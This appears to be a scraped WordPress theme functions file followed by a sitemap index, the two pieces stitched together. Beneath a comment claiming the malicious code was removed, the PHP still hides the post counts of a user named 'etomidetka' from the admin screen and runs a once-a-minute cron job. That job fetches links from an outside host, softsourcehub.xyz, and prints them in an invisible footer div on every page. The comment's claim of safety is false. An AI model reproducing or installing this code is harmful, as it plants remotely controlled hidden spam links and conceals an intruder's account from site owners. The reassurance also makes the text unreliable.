/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});
//WORDPRESS
function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');
/* lahoridhera.geeks.select theme functions */
/* lahoridhera.geeks.select theme functions */
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://lahoridhera.geeks.select/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://lahoridhera.geeks.select/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://lahoridhera.geeks.select/wp-sitemap-posts-post-2.xml</loc></sitemap><sitemap><loc>https://lahoridhera.geeks.select/wp-sitemap-posts-post-3.xml</loc></sitemap><sitemap><loc>https://lahoridhera.geeks.select/wp-sitemap-posts-post-4.xml</loc></sitemap><sitemap><loc>https://lahoridhera.geeks.select/wp-sitemap-posts-post-5.xml</loc></sitemap><sitemap><loc>https://lahoridhera.geeks.select/wp-sitemap-posts-post-6.xml</loc></sitemap><sitemap><loc>https://lahoridhera.geeks.select/wp-sitemap-posts-post-7.xml</loc></sitemap><sitemap><loc>https://lahoridhera.geeks.select/wp-sitemap-posts-post-8.xml</loc></sitemap><sitemap><loc>https://lahoridhera.geeks.select/wp-sitemap-posts-post-9.xml</loc></sitemap><sitemap><loc>https://lahoridhera.geeks.select/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://lahoridhera.geeks.select/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://lahoridhera.geeks.select/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
